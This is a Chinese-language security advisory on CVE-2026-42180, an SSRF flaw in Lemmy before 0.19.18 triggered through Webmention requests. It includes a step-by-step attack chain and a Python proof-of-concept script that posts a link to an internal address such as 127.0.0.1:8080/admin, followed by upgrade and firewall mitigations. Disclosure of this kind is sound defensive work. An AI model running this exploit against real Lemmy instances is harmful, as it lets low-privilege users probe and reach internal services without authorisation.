IPBUF安全漏洞报告
English
CVE-2026-42180 CVSS 6.3 中危

CVE-2026-42180 Lemmy 服务器端请求伪造漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42180
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Lemmy

相关标签

SSRFLemmyWebmentionCVE-2026-42180内网扫描

漏洞概述

Lemmy是一个联邦宇宙链接聚合器和论坛。在0.19.18版本之前,该软件存在一个安全漏洞,允许经过身份认证的低权限用户通过POST /api/v3/post接口创建链接帖子。当帖子在公共社区创建时,后端会异步向攻击者控制的链接目标发送Webmention请求。尽管系统会对URL的语法和协议进行检查,但在发出Webmention请求前的代码路径中,并未拒绝环回、私有或链路本地目标。这使得普通用户能够触发针对内部服务的服务器端HTTP请求,可能导致内网信息泄露或未授权访问。

技术细节

该漏洞的核心在于Lemmy处理Webmention功能时对目标URL的校验逻辑不完整。当用户提交包含URL的帖子时,后端服务会异步发起HTTP请求通知目标服务器。代码中虽然包含了对URL格式(语法)和协议方案(如http/https)的验证机制,但关键的缺陷在于缺乏对目标网络位置的过滤。具体而言,验证逻辑未拦截指向环回地址(127.0.0.1)、RFC1918定义的私有网络地址(如10.0.0.0/8, 192.168.0.0/16)或链路本地地址的请求。攻击者只需注册一个普通账号,构造指向内网敏感资源(如内部管理面板、元数据服务或本地文件服务)的恶意链接,即可利用服务器身份发起SSRF攻击,探测内网拓扑或窃取敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出运行Lemmy的目标实例,并确认其版本低于0.19.18。
STEP 2
2. 获取凭证
攻击者在目标Lemmy实例上注册一个普通用户账号,获取JWT Token。
STEP 3
3. 构造恶意请求
攻击者构造POST请求发送至/api/v3/post,在URL字段填入内网地址(如http://127.0.0.1:80)。
STEP 4
4. 触发漏洞
Lemmy后端接收请求,验证URL语法和协议通过后,异步向该内网地址发送Webmention请求。
STEP 5
5. 达成效果
攻击者根据响应时间或返回内容判断内网服务状态,实现SSRF攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Lemmy < 0.19.18 SSRF via Webmention # Description: Trigger server-side HTTP requests to internal services. target_url = "https://target-lemmy-instance.com/api/v3/post" attacker_jwt = "YOUR_LOW_PRIV_USER_JWT_TOKEN" # Targeting an internal service (e.g., localhost admin panel) malicious_url = "http://127.0.0.1:8080/admin" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {attacker_jwt}" } payload = { "post": { "name": "Interesting Link", "url": malicious_url, "community_id": 1 # ID of a public community } } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Success. Server likely sent Webmention to {malicious_url}") else: print(f"[-] Failed. HTTP {response.status_code}: {response.text}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Lemmy < 0.19.18

防御指南

临时缓解措施
建议立即将Lemmy软件升级到0.19.18版本以修复此漏洞。如果无法立即升级,可以在网络防火墙层面限制Lemmy服务器的出站连接权限,禁止其访问内网敏感IP段(如127.0.0.1, 10.0.0.0/8等),或者临时禁用Webmention功能。

参考链接